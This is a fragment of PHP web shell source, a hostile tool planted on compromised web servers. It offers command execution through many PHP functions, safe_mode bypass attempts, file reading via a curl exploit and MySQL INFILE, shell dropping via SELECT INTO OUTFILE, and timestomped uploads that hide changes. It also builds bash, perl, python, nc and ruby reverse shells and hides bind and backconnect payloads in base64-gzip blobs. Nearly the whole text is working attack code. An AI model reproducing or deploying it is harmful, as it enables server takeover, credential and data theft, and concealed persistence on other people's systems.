";
}
}
if (isset($_POST["chmod_string"])) {
if (chmod($file,octdec($_POST["string"]))) {
$form = FALSE;
echo "chmoded ".$file." to ".$_POST["string"]."! back
";
} else {
echo "can't chmod to ".$_POST["string"]."! back
";
}
}
}
// --------------------------------------------- crypt functions by Eugen
function entityenc($str) {
$text_array=explode("\r\n", chunk_split($str, 1));
for ($n=0; $n < count($text_array) - 1; $n++) {
$newstring .= "&#" . ord($text_array[$n]) . ";";
}
return $newstring;
}
function entitydec($str) {
$str=str_replace(';', '; ', $str);
$text_array=explode(' ', $str);
for ($n=0; $n < count($text_array) - 1; $n++) {
$newstring .= chr(substr($text_array[$n], 2, 3));
}
return $newstring;
}
function asc2hex($str) {
return chunk_split(bin2hex($str), 2, " ");
}
function hex2asc($str) {
$str=str_replace(" ", "", $str);
for ($n=0; $n>6) & 0x3f};
++$i;
if ($i >= $count) break;
if ($i < $count) $value |= (ord($input[$i]) << 16);
$output .= $itoa64{($value>>12) & 0x3f};
++$i;
if ($i >= $count) break;
$output .= $itoa64{($value>>18) & 0x3f};
}
return $output;
}
function to64na($value,$num) {
global $itoa64;
$output = '';
while ($num-1 >= 0) {
--$num;
$output .= $itoa64{$value & 0x3f};
$value >>= 6;
}
return $output;
}
function unap($pwd,$salt,$magic='$1$') {
if (substr($salt,0,strlen($magic)) == $magic) $salt = substr($salt,strlen($magic));
$salt = explode('$',$salt,1);
$salt = substr($salt[0],0,8);
$ctx = $pwd.$magic.$salt;
$final = md5($pwd.$salt.$pwd,true);
for ($pl=strlen($pwd);$pl>=0;$pl-=16) {
$ctx .= substr($final,0,($pl>16?16:$pl));
}
$i = strlen($pwd);
while ($i) {
$ctx .= ($i&1?chr(0):$pwd{0});
$i >>= 1;
}
$final = md5($ctx,true);
for ($i=0;$i<1000;++$i) {
$ctx1 = '';
$ctx1 .= ($i&1?$pwd:substr($final,0,16));
if ($i % 3) $ctx1 .= $salt;
if ($i % 7) $ctx1 .= $pwd;
$ctx1 .= ($i&1?substr($final,0,16):$pwd);
$final = md5($ctx1,true);
}
$passwd = '';
$passwd .= to64na(((int)ord($final{0}) << 16)|((int)ord($final{6}) << 8)|((int)ord($final{12})),4);
$passwd .= to64na(((int)ord($final{1}) << 16)|((int)ord($final{7}) << 8)|((int)ord($final{13})),4);
$passwd .= to64na(((int)ord($final{2}) << 16)|((int)ord($final{8}) << 8)|((int)ord($final{14})),4);
$passwd .= to64na(((int)ord($final{3}) << 16)|((int)ord($final{9}) << 8)|((int)ord($final{15})),4);
$passwd .= to64na(((int)ord($final{4}) << 16)|((int)ord($final{10}) << 8)|((int)ord($final{5})),4);
$passwd .= to64na(((int)ord($final{11})),2);
return $magic.$salt.'$'.$passwd;
}
function phpass($pwd,$salt,$count,$prefix) {
$hash = md5($salt.$pwd,true);
for ($i=0;$i<$count;++$i) {
$hash = md5($hash.$pwd,true);
}
return $prefix.substr($salt,0,8).to64as($hash,16);
}
function genSalt($salt,$length=8,$dot=0) {
if (strlen($salt)>=$length) return substr($salt,0,$length);
global $itoa64;
if (!$dot) { $alphabet=substr($itoa64,2); } else { $alphabet=$itoa64; }
$output='';
for ($i=0;$i<$length;++$i) $output.=$alphabet{mt_rand(0,strlen($alphabet)-1)};
return $output;
}
function mysql4($pwd) {
$nr = 0x50305735;
$nr2 = 0x12345671;
$add = 7;
$charArr = str_split($pwd);
foreach ($charArr as $char) {
if (in_array($char,array(' ','\n'))) continue;
$charVal = ord($char);
$nr ^= ((($nr & 63)+$add) * $charVal)+($nr << 8);
$nr &= 0x7fffffff;
$nr2 += ($nr2 << 8) ^ $nr;
$nr2 &= 0x7fffffff;
$add += $charVal;
}
return sprintf('%08x%08x',$nr,$nr2);
}
// --------------------------------------------- main code
if (!isset($_REQUEST['p'])) { $_REQUEST['p']="s"; }
switch ($_REQUEST['p']) {
case "s":
if (empty($_POST["wut"]) and $download != "1") {
echo $title;
sploent516();
if (ini_get("safe_mode")) {
$failflag="1";
}
$shelltext=("uname -a");
echo '';
echo " pcntl_exec:";
//determining if pcntl enabled is kinda tricky. debug: add if(dl('pcntl.so')) or check var_dump(get_extension_funcs('pcntl')) ?
if (extension_loaded('pcntl')) {
if (function_enabled('pcntl_fork')) {
if (function_enabled('pcntl_exec')) {
echo '';
} else {
echo " pcntl_exec is disabled! ";
}
} else {
echo " pcntl_fork is disabled! ";
}
} else {
echo " fail, no pcntl.so here ";
}
echo " ssh2_exec:";
if (extension_loaded('ssh2')) {
if (function_enabled('ssh2_connect')) {
if (function_enabled('ssh2_exec')) {
if ($download != "1") {
if (empty($_POST["wut"])) {
echo '';
}
}
} else {
echo " ssh2_exec is disabled!";
}
} else {
echo " ssh2_connect is disabled!";
}
} else {
echo " fail, no ssh2.so here";
}
echo $pageend;
} else {
if ($download != "1") {
echo $title;
}
$shelltext=$_POST["command"];
$html='';
break;
case "system":
if (strnatcmp(version(),"5.2.9") <= 0) {
sploent516();
}
echo "$html"; echo "$input"; echo 'system">';
break;
case "exec":
if (strnatcmp(version(),"5.2.9") <= 0) {
sploent516();
}
echo "$html"; echo "$input"; echo 'exec">';
break;
case "shell_exec":
if (strnatcmp(version(),"5.2.9") <= 0) {
sploent516();
}
echo "$html"; echo "$input"; echo 'shell_exec">';
break;
case "popen":
if (strnatcmp(version(),"5.2.9") <= 0) {
sploent516();
}
echo "$html"; echo "$input"; echo 'popen">';
break;
case "proc_open":
if (strnatcmp(version(),"5.2.9") <= 0) {
sploent516();
}
echo "$html"; echo "$input"; echo 'proc_open">';
break;
case "eval":
if (strnatcmp(version(),"5.2.9") <= 0) {
sploent516();
}
echo "$html"; echo 'php -r \''; echo ' \'
';
break;
case "pcntl":
//sploent516 not needed coz pcntl bypasses safe_mode
echo '';
break;
case "ssh2":
echo '';
break;
}
}
}
if (!empty($_POST["wut"])) {
if ($download != "1") {
echo "";
}
}
break;
// --------------------------------------------- shell end; file operations
case "f":
if ($download != "1") {
echo $title;
echo "";
echo "current dir: ".getcwd()." ";
sploent516();
echo " -------------------------------- ";
}
if (empty($_POST["filer"]) and $download != "1" and empty($_POST["edt"]) and empty($_POST["sqlr"]) and empty($_POST["sqlu"]) and empty($_POST["upload"])) {
echo ' >> read/upload/edit file <<
';
$ololotext="/home/USER/public_html/DOMAIN/index.php";
echo '---> read file ';
echo "php file_get_contents: ";
echo '';
//curl
if (strnatcmp(version(),"5.2.9") <= 0) {
echo " curl exploit: ";
if (!extension_loaded('curl')) {
echo " fail, curl is required ";
} else {
echo '';
}
}
} else {
switch ($_POST["filer"]) {
case "php":
$ololotext=($_POST["filename"]);
if ($download != "1") {
echo '';
}
if (!empty($_POST["filename"])) {
if ($download != "1") {
echo '';
echo "";
}
echo $pageend;
die();
}
break;
case "curl":
$ololotext=($_POST["filename"]);
if ($download != "1") {
echo '';
}
if (!empty($_POST["filename"])) {
if ($download != "1") {
echo '';
echo " ";
echo $pageend;
die();
break;
case "infile":
mysql_select_db($db) or die ("cannot select db: ".mysql_error()."".$pageend."");
mysql_query("CREATE TABLE `file` ( `text` LONGBLOB NOT NULL );") or die ("cannot create table: ".mysql_error()."".$pageend."");
mysql_query("LOAD DATA INFILE \"".$_POST["file"]."\" INTO TABLE file LINES TERMINATED BY '' (`text`)") or die ("cannot load data: ".mysql_error()."".$pageend."");
$rez=mysql_query("SELECT * FROM file;");
if (!$rez) { echo "fail. permission denied? "; }
else {
for ($i=0;$i";
} else {
echo "result: ";
// code from c99shell madnet edition
$n = 0;
$a0 = "00000000 ";
$a1 = "";
$a2 = "";
for ($i=0; $i";}
$a1 .= " ";
$a2 .= " ";
}
}
echo '
'.$a0.'
'.$a1.'
'.$a2.'
';
}
mysql_free_result($result);
mysql_query("DROP TABLE file;") or die("cannot drop table: ".mysql_error()."".$pageend."");
}
echo $pageend;
die();
break;
}
mysql_close($link);
}
}
// mysql read file end. upload
if ($download != "1" and empty($_POST["edt"])) {
echo ' ---> upload file ';
if (!ini_get('file_uploads')) {
echo "php file_uploads Off ";
} else {
echo "post_max_size: ".ini_get('post_max_size')." ";
echo "upload_max_filesize: ".ini_get('upload_max_filesize')." ";
echo "";
if (is_writable("./")) {
echo "./ writable";
} else {
echo "./ readonly";
}
if (!isset($_POST["dir"])) {
$upto=".";
} else {
$upto=$_POST["dir"];
}
echo '';
if (!empty($_POST["upload"])) {
if(is_uploaded_file($_FILES["sourcefile"]["tmp_name"]))
{
echo "upload ok";
$dirtime=filemtime($_POST['filedir']);
if (!empty($_POST["upname"])) {
$upname=$_POST["upname"];
} else {
$upname=$_FILES["sourcefile"]["name"];
}
move_uploaded_file($_FILES["sourcefile"]["tmp_name"], $_POST['filedir']."/".$upname) or die(" moving failed! ".$pageend."");
echo " moving done, trying to touch (old time of ".$_POST['filedir']." = ".date("d/m/Y H:i:s",$dirtime).") ";
touch($_POST['filedir']."/".$upname,$dirtime,$dirtime) or die (" touch failed! ".$pageend."");
echo "file touched: new time of ".$upname." = ".date("d/m/Y H:i:s",filemtime($_POST['filedir']."/".$upname)).". trying to touch dir ";
touch($_POST['filedir'],$dirtime,$dirtime) or die (" touch dir failed! ".$pageend."");
echo "dir touched: new time of ".$_POST['filedir']." = ".date("d/m/Y H:i:s",filemtime($_POST['filedir']))." ";
} else {
echo(" upload failed! ");
}
}
}
if ($download != "1" and empty($_POST["edt"])) {
echo " mysql: ";
if (empty($_POST["sqlu"])) {
$user="root";
$pass="12345";
$db="test";
$host="localhost";
$port="3306";
if (empty($_POST["dir"])) {
$dir=getcwd();
} else {
$dir=$_POST["dir"];
}
$file=$dir."/shell.php";
$evilcodez='';
} else {
$user=$_POST['user'];
$pass=$_POST['pass'];
$db=$_POST['db'];
$host=$_POST['host'];
$port=$_POST['port'];
$file=$_POST['file'];
$evilcodez=$_POST['evilcodez'];
}
echo '';
}
if (!empty($_POST["sqlu"])) {
$link=mysql_connect("".$host.":".$port."",$user,$pass) or die("cant connect: ".mysql_error()."".$pageend."");
$q='SELECT \''.mysql_real_escape_string($_POST['evilcodez']).'\' INTO OUTFILE "'.$_POST["file"].'"';
$rez=mysql_query($q,$link) or die("query error:".mysql_error());
echo "done ";
mysql_close($link);
echo $pageend;
die();
}
echo " ";
echo '---> edit file ';
if (!empty($_POST["edit"])) {
$filee=trim($_POST["filee"]);
$files=trim($_POST["files"]);
} else {
$filee="/etc/passwd";
if (empty($_POST["dir"])) {
$dir="./";
} else {
$dir=$_POST["dir"]."/";
}
$files=$dir."cache.txt";
}
echo '';
}
if (!empty($_POST["edit"])) {
$filee=trim($_POST["filee"]);
$oldtime=@filemtime($filee);
$files=trim($_POST["files"]);
if (!file_exists($files)) {
if (!fopen($files,'a+')) {
echo ''.$files.' isnt writable! (cannot open "a+") '; echo $pageend; die();
} else {
if (!file_exists($filee)) {
echo ' no file '.$filee.', I`ll create new '.$files.'. ';
} else {
echo ' no file '.$files.', I`ll create new '.$files.'. ';
}
fclose($files);
unlink($files);
}
} else {
if (!is_writable($files)) {
$chmoded=substr(sprintf('%o',fileperms($files)), -4);
echo ''.$files.' chmod '.$chmoded.', trying to chmod 0666';
chmod($files, 0666) or die (' cannot chmod '.$files.' 666!'.$pageend.'');
echo ' ...done';
}
}
if (!empty($_POST["edt"])) {
$filec=file_get_contents($filee);
if (empty($filec)) {
echo 'cannot get '.$filee.' contents!';
}
if (isset($_POST['filec'])) {
$filec=$_POST['filec'];
$fh=fopen($files,"w+") or die ('cannot fopen "w+"!'.$pageend.'');
fputs($fh,$filec);
fclose($fh) or die ('cannot save file!'.$pageend.'');
if (isset($_POST['chmoded'])) {
echo "chmoding to old perms(".trim($_POST['chmoded']).") ";
$perms = 0;
for($i=strlen($_POST['chmoded'])-1;$i>=0;--$i)
$perms+=(int)$_POST['chmoded'][$i]*pow(8, (strlen($_POST['chmoded'])-$i-1));
chmod($files, $perms);
}
$date=explode(" ",$_POST["touch"]);
$day=explode("-",$date[0]);
$time=explode(":",$date[1]);
$unixtime=mktime($time[0],$time[1],$time[2],$day[1],$day[2],$day[0]);
@touch($files,$unixtime,$unixtime);
die(' -> '.$files.' saved!'.$pageend.'');
}
if (empty($oldtime)) {
$ttime=time();
} else {
$ttime=$oldtime;
}
echo '';
}
echo $pageend;
die();
}
if ($download != "1") {
echo '
---> fail manager ';
}
if ($action=="viewer") {
if (!isset($dir)) {
$dir=getcwd();
}
scandire($_POST["dir"]);
}
if ($action=="download") {
readfile($_POST["file"]);
}
if ($action=="chmod") {
chmodz($_POST["file"]);
}
if ($action=="touch") {
touchz($_POST["file"]);
}
if ($action == 'delete') {
if (unlink($_POST["file"])) $content.="file ".$_POST["file"]." deleted, back";
}
if ($action == 'deletedir') {
if (!rmrf($_POST["file"])) {
$content .="error deleting dir ".$_POST["file"].", back";
} else {
$content .="dir ".$_POST["file"]." deleted, back";
}
}
if (!empty($content)) {
echo $content;
}
if ($download != "1") {
echo ' ';
echo '';
echo $pageend;
}
break;
// --------------------------------------------- file operations end; bind
case "b":
echo $title;
echo ' >> help <<
you could get almost-interactive shell in bind/backconnect with help of these commands
-> if there is python on the server, run:
python -c \'import pty; pty.spawn("/bin/bash")\'
-> ruby:
ruby -rpty -e \'PTY.spawn("/bin/bash")do|i,o|Thread.new do loop do o.print STDIN.getc.chr end end;loop do print i.sysread(512);STDOUT.flush end end\'
-> expect:
expect -c \'spawn sh;interact\'
-> policycoreutils package:
open_init_pty bash
//thanks to tex from rdot.org
for backconnect you should use small one-liners coz there is no temporary file created. in case they fail, try usual "big" backconnects.
//thanks to Bernardo Damele and pentestmonkey.net
if your terminal is broken after using backconnect (i.e. it doesnt show what you type), run command: reset
';
if ($failflag=="1") {
echo "fail, at least one system function needed!
";
} else {
$nc='(dont forget to setup nc first!)';
$semi='dont forget to write ; at the end of command!';
sploent516();
echo " "; //debug: sometimes page cut here, when passthru system shell_exec are disabled
echo ' - - - - = = = = > > one-liners >> show code << ';
echo ' ';
if (!empty($_POST["oneline"])) {
switch ($_POST["wut"]) {
case "bash":
$c='0<&123;exec 123<>/dev/tcp/'.$_POST["ip"].'/'.$_POST["port"].'; sh <&123 >&123 2>&123';
run($c);
echo "done ";
break;
case "perl":
$c='perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"'.$_POST['ip'].':'.$_POST['port'].'");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\'';
run($c);
echo "done ";
break;
case "ruby":
$c='ruby -rsocket -e \'exit if fork;c=TCPSocket.new("'.$_POST['ip'].'","'.$_POST['port'].'");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end\'';
run($c);
echo "done ";
break;
case "nc":
$c='rm -f /tmp/.ncnd; mknod /tmp/.ncnd p && nc '.$_POST['ip'].' '.$_POST['port'].' 0/tmp/.ncnd 2>&1';
run($c);
echo "done ";
break;
case "telnet":
$c='rm -f /tmp/.ncnd; mknod /tmp/.ncnd p && telnet '.$_POST['ip'].' '.$_POST['port'].' 0/tmp/.ncnd 2>&1';
run($c);
echo "done ";
break;
case "python":
$c='python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'.$_POST['ip'].'",'.$_POST['port'].'));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'';
run($c);
echo "done ";
break;
}
}
echo '- - - - = = = = > > classic ';
echo '---> PHP ';
if (!function_enabled('set_time_limit')) { echo 'warning! set_time_limit off! '; }
if (!function_enabled('ignore_user_abort')) { echo 'warning! ignore_user_abort off! '; }
echo '';
if (function_enabled('fsockopen')) {
if (function_enabled('proc_open')) {
echo ' ';
} else { echo 'fail, proc_open is needed for backconnect!
'; }
} else { echo 'fail, fsockopen is needed for backconnect!
'; }
//php end
echo '---> PERL ';
$searchvar=trim(search("perl",$failflag));
if (empty($searchvar)) {
echo "fail, no perl here ";
} else {
echo '';
echo '';
}
//perl end
echo " ";
echo '---> PYTHON ';
$searchvar=trim(search("python",$failflag));
if (empty($searchvar)) {
echo "fail, no python here ";
} else {
echo '';
echo '';
echo '';
echo 'you need to run special client first: >> show code << with this one you will be able to run mc, top, vim, etc
';
echo ' usage: python client.py [host] [port], then input there ^^^^ your host and port. do not remove whitespace! if you see "TERM is not set", run command: export TERM=linux //thanks to ont.rif for interactive backconnect ';
echo " ";
echo '
';
}
//python end
echo " ";
echo '---> C ';
$searchvar=trim(search("gcc",$failflag));
if (empty($searchvar)) {
echo "fail, no gcc here ";
} else {
echo 'don\'t remove ".c" file extension! compiler= '.$searchvar.' ';
echo '';
echo '';
}
//c end
echo " ";
echo '---> PHP+C findsock (likely wont work on modern php&apache >= 2009) ';
$searchvar=trim(search("gcc",$failflag));
if (empty($searchvar)) {
echo "fail, no gcc here ";
} else {
echo '
';
}
} //failcheck end
if (!empty($_POST["shellz"])) {
//code by security-teams.net
$perlbdcode='#!'.search("perl",$failflag).'
use IO::Socket::INET;
$server = IO::Socket::INET->new(
LocalPort => '.$_POST["port"].',';
$perlbdcode.=gzinflate(base64_decode('bY/RCoIwFIbve4rjiJhhSNemEGYQpYIadBFE6RFHpuKsiPDdc6ZB1C7G9n3/OdsBECt4FNgeQDfAd831wQ88a24rgzf18Mqx99OebhivMPtU2fOd6TrOW8qQlxAxpGR5ZClG0j4jsibcPWnudCyioMOQY3nDcmIcwxCLisqyyDzbJiymUpyX5w52FPKiedQPFitHASCzkehEtG/nbgMFiPHXWZ734/ijGeVCiXpimcqT7qtQt3uY5s30It7SevAC'));
//code by Michael Schierl
$perlbccode='#!'.search("perl",$failflag);
$perlbccode.="\n";
$perlbccode.=gzinflate(base64_decode('lVVtb5pQFP7OrzgaUiChFZxNVxlmru06006MspdkWRqESyVFIHDRNq3/fedeXoTGdZkm5rw859znnPuAeUZgYg2Hi9h9INQQcvQ/uxENDUG0J9bF9cyeggnHfX1wpp+fn5/2y8RiZt9e3GBK184GWv/0tK9j5mp8PZ5MTZ3ZX6yFbYrj+fX3X9pv9GfWvPJ15mtmNyI0ow7topchAewWkW2Dz3A4mV7ZIAszQtKx56VgjoA3VnloFqeUh1hvDKUxjZkvUTeRVOFTiF2C6J6FNFVQIE7BCwiIHUPInrI4IRHIM/vrTxWknkc2vYSuHyUVrLv55Y/5i3U3taafbq2Lm1alSNeJKUmGEMQuDasG9bbQREC7IqEZzpZHieM+yFIglRjM5BHjaO4TmlI2bvYtlo1OAW81d1dekCJ/qRnkoy3sy8m0Gi3Kw7AFyddO9gCaIXjEDyLiyWISeMjSj9P2AeQxoBD4wPL/RiNQ7rCkAs9YSly528uWQdRz7gmlT3AcwXEIPRZZOtkK3r0faBqU2896bFVd3rBV/H+1VWkN/NDCwKjt9kcHWjSnN4QdlJ96s9Y3G1c7Gh1eboW6ms/fQIlJgitk94x2GkSmuGU/BH+YvjY4BAurfhCSKMaVJ4qqK2DqB3Ls+SmygOmMhMSlwKPY+8Xcx8rjmqFinCoo4gUH2Yp4Joojy5fsjrdO6nkOdfBO108gi34ar1WRxuy4j3eGsF0hDVlndy6mGwzi45USxyuRIC5z31fxXdEfoL5DJ+OKkju1mtKNAkdHuBUwTShfI0pDbSz/SmX8IBMfGHiGmjMfH9gBxq5khfu5p6uCAow4fk9ymwaUyDhJzbEJV0o9v00T+0Xkkankr3zriUvSrw7BLWc0lQsGmsqrTWAa2PFvMUhnPyafIfLjPGITF9eIveOcmlwVIG65veU24TZhNhYQdmJBrKBU9cHXvI6pxnUzyamFtPYz1CReQRlMZRo9CN0Jbhjjn0shv8Ku5FlwZSxPuH3CJzGEPw=='));
//author/license unknown
$cbdcode=gzinflate(base64_decode('bVBha8IwEP3eX3FMmOns1H2uDoo6kDEV7ZexSejaVA9rKkkUq+y/75q6Drd9CHl59y737jVQxtk+EdDTJsG8vX50Gj8UrmSU/eIK3THFTui/tM7jjTDXvBQG6XRQljxKA6TiidCeBXGGFVBxdWdCEhDqIBTfYeIBKUrgO9qofWzbN1GSKI7S6nj58OG/MrUKaSqBHb2NiGUlitSKBsbrSMEd4cPb0nXOYEXoO2muGPa7PvZKnY+tlgtnZyu2Whhm5bj0mu/HbtOjsWT5m3Rd3/m0VuNdUZHdpXdDAWgTmRuqXraHPlRpseCJjyej0IPFdPDMF+F8FLx4MJ7N5tNwysPBzKXlMAVWd/bh/sEFRxzRMEJU/jgJlTNWrePCbZ0LRYknkaesZkqH9aOtUfI02mJWkKGLkzLLK0EF7EWqtcllxsaTYDic82DySv99AQ=='));
$cbdcode.='serv_addr.sin_port = htons('.$_POST["port"].');';
$cbdcode.="\n";
$cbdcode.=gzinflate(base64_decode('hVJBasMwELznFVsfilRUEgd6cnNOcymF0rNxpbUtImwjKWloyd+7suzGaQjBIHtn2PHMINfK3EpYwaduFHM0KXQCmPN2Jz0QsC2UsvDA4d6h3edhEuD0N7Yl+0M4z2a6hF6A5O5WsOAww4P27DHlGfRk2dot42fkInAOfVfZjtE3DbpqCsPeN+uXjzcB9M4369ebEmMMo53H5hTk6bqxfvGr1gaBpRx+oorBhmSGfNJobHxMmPU0IUQXUmLnb9Q1WRZUXtSe2AlSz//sEJZ3WtEvKipFKxb7sXu0Ax4bGOqYMDEZhVC7bjnqi170DEkvkCV5wgNKw5I53YK5qxORhIPJughRBmetw3EnACfTxwt2dqTnFw=='));
//author/license unknown
$cbccode=gzinflate(base64_decode('XVBNawIxEL3nVwwrlESjq161BRELUqui25Msy5pku6FrIkksVfG/N7vWj3oYMvPmzZuXqUnFih0X0LeOS93KX1DtBu1taDX7Eu4/roSTPkKpSlwqB5tUKlwmqflkFFieGqj7/HsVE3SsKBnvIevMjjkoNVPOTSIVWKl6iKdioxXu0DbxJC/rI8nSjSz28AyD12Q8HUW3zlYb5/HcaWVx6rTE1apuTO7GywUtWz2eW/qt8jO1E5MeoPVBGH0BqDdXCHXtNzqNe6QSB5RxL3a+Cf7zRWE5G74ly2gxGrxTGM/ni1k0S6LhnICfkBlgzLRSgjmccQr44QpQJ/DkHVN/i4PQ2WOfENJvEziirTBGGxysmjFcBEngvyx+pMPl6U6I77bdaktZXovOfdGtJgQrcBCupQptHtDA5tCUAYXpx2Ti+6zQVnh2+eUT+gU='));
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
$findsock=gzinflate(base64_decode('bVLbTsMwDH3vV5gioaR09zdG+QLEG0+ApqxJN4suqZIUcRH/jp11Y0yoUhIfHx87J71EW7e9NnAbPsIkuPrVxPH2Lrv8xaNGdw55tJu/mPKdmqA9ryaAQcr8xXuLJMwY2gg7hRYEn5Tf1CXUW+WLgoM3CV8ZNiA4ARcVLBjoqH9sRP4Y1MbcQINW8+iAHXTOx2eby2Vm3jGKKR2+M9aDgikrolRJ+Gn2sjxNcOEhNacUXbKvI3BOae1XNKEP6l+8ZZynD/hpSIM31wiiy6GFNzsXDTV/Wkxf9txGL7PGeRCNrhZLCm83Juqo1q3heiEZu74+3J+SnTHeqp2hihKuSJ1Wpkr2ZTRjJg1n6+5DHPuVwPavbHRKFGKYHe2KR4dCsso4DPE4pE2WsGDbuGvS23WneoOLiQRVBdPDhPx+khptgziosqeJlHIqOhRHr2Wa18SAmu6a6b6bp4tNT4PZaTBnN1sX2ID0vqZuRT5Zo5307Etewlk0UrQ+PN7fn9HD9sjdH0f4S/xO3/4XA5GP8wH7AQ=='));
//code by b374k
$pybdcode="#!".search("python",$failflag)."\n";
$pybdcode.=gzinflate(base64_decode('jVTbahsxEH3ehf0HVS/WYmdjO+2LWxlCcUioE5fYhUIIZrOrZEU2kpHkXP6+mpF8aZxCX7zS6MycMzfLp5U2jmjbI/YNfnT1KFyPOPkksvTy9PdyOrnig/7wc5bOzyfTKafHd1Id24YcVTRLFxeXk+Xs14IPhv1+lv6cXS849fbz2TwcanFPbCPallVPdT7K0sQ2S712XNtipVdCMQzb7RDa6XpIt0M7eWFEWbdSCcty76GiC8RL7rUhkkhFTKkeBGt9hPCcY/QNuMvD90beeqsRbm0UiW9BVVk5qRWrtFLo+dLIVpCFWQuMA/bCClUzOh6PCQUhiTNv+JisvFSOECOqZxYLhRjxWomVizAjlSMUqul5KdqiFiBCeGsDYQIhacB8kCQw5keDkCSCuxxsIcEkkfcEAnA6qisaQe+oPNcOZet3qLPSK4mwjSSICuTAPe5HWwK92PU0Gnf1gl5kaWkenrmfqQIOWRoDwSX/djIi3isWRxijzVfIG9DiVTo28P6oFeA3g1uv9+gO5eKAoXV4e4gxlJSq3hGNTw59EhxNvJ5gCJ8r2bIi1sticMhRth9U345Hln/iWIGtyr5/h33hYWmK8GHxdnq2vLiaLDYrVcxn338s54vryell9PPVcnEy2GaPAuVB2gj3e1cz1ml1VbaNtq7TI6gy3wBaaZ1PHXSZteKh7WGs/R3ivC/XaDPUqLKAHorKMcKgSDE82Z9qsj/WIIKslV/WqinvWhFmF1IqbCvEin3JtxMOCnhcOeCCl+2cgYIEN7FX1rXJsaJFWQEl+6+l2iMdfEyKe35QAl9eEia3Wbtavyg2PFBGYrPgr4D+VYx/sAb8fsA/'));
//code by ont.rif
$pyintserver="#!".search("python",$failflag)."\n";
$pyintserver.="import sys, socket, os, pty, fcntl, struct, termios, select, resource\n";
$pyintserver.="host = \"".$_POST["ip"]."\"\n";
$pyintserver.="port = ".$_POST["port"]."\n";
$pyintserver.=gzinflate(base64_decode('hVT9i+IwEP29f8XcgjSFXlfXdT+EPVg8lyvnKqzCwalIL41rsCYliav+9zfpl9VdsNjGJm9m3ry81KhD1wEt6RqesoGZIB9I+fr8sgiH/Ylfvo9Hvd+L8eSt//wKXh4bUCkEoxhDVlIbH1KpjIerbE9ZarBCqrgwcAW9SLgGCvi3mbhyQOpgwfYcg1sYYTJCfGmnl1KtiQc/oNmtoZq26iVAXhhG475SUvnA7FDxcMFGdqERA2lobyZcaADJQQE+hSwiAm1U9gdTYoF4m97kugRLnjAhiYeyHDTCYi6qObiMlltzhF9EI4U6uhSzoWcKnxnqgynNpXBSHvtAVzyJF8sY9zQ1h0ImBzUT0gAiuuBALjRMwlFv/Cccjv8i+J2ZyBhFDFMbLrUP7nHZ9eH7Tev27vHmsXPXwi2we1CPfgJcfmi27+/bnYFNfZq7Foxr2trNqC01QRrRNXF/4YUlbps+POBtf7bGkgqTBFxSk5CvtPNrRVAua43Kc5BGWjuwifa5FIppuVWUBdimSvgGvVJNvQ3C13CyGI5ewkHfmzbnjrUIcOACVCTeGYG2X6bybPJCP+s7mkjNgHBL+NR4GSKngTi2Z/SDgHv9j4trvcJ2p647R8473C8GE7VlGIBu3aH9rEAswVMS5AOBabWv/qlPYI6ZirtTnI7KAraBOl9sGVMjG8WimNRStpr2suFZUzvFDftkSBt9bDNvL3fjT44SZNnA8A0D3CUP7VlkOzu7p/RLimfUzkq3SnZHckfyJa/C4/j6iRvb4FkoPmJfM/sP'));
switch ($_POST["shellz"]) {
case "phpremote":
// code by pentestmonkey.net. license: GPLv2
$ip=($_POST["ip"]);
$port=($_POST["port"]);
$chunk_size=1400;
$write_a=null;
$error_a=null;
$shell='/bin/sh -i';
$daemon = 0;
function printit ($string) { if (!$daemon) { print "$string\n"; }}
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) { printit("ERROR: Can't fork "); exit(1); }
if ($pid) { exit(0); }
if (posix_setsid() == -1) { printit("Error: Can't setsid() "); exit(1); }
$daemon = 1;
} else { printit("WARNING: Failed to daemonise! "); }
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) { printit("$errstr ($errno)"); exit(1); }
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) { printit("ERROR: Can't spawn shell "); exit(1); }
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port ");
while (1) {
if (feof($sock)) { printit("ERROR: Shell connection terminated "); break; }
if (feof($pipes[1])) { printit("ERROR: Shell process terminated "); break; }
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
$input = fread($sock, $chunk_size);
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
$input = fread($pipes[1], $chunk_size);
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
$input = fread($pipes[2], $chunk_size);
fwrite($sock, $input);
}
}
fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);@proc_close($process);
//php backconnect end
break;
case "phplocal":
// code by metasploit.com. license unknown, assuming BSD
$port=$_POST["port"];
$scl='socket_create_listen';
if (function_enabled($scl)) {
$sock=@$scl($port);
} else {
$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
$ret=@socket_bind($sock,0,$port);
$ret=@socket_listen($sock,5);
}
$msgsock=@socket_accept($sock);
@socket_close($sock);
while (FALSE !== @socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL)) {
$buffer = '';
$c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
if (FALSE === $c) { break; }
if (substr($c,0,3) == 'cd ') {
chdir(substr($c,3,-1));
} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
} else {
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) { $c=$c." 2>&1\n"; }
if (function_enabled('shell_exec')) {
$buffer=shell_exec($c);
} else if(function_enabled('passthru')) {
ob_start();
passthru($c);
$buffer=ob_get_contents();
ob_end_clean();
} else if(function_enabled('system')) {
ob_start();
system($c);
$buffer=ob_get_contents();
ob_end_clean();
} else if(function_enabled('exec')) {
$buffer=array();
exec($c,$buffer);
$buffer=join(chr(10),$buffer).chr(10);
} else if(function_enabled('proc_open')) {
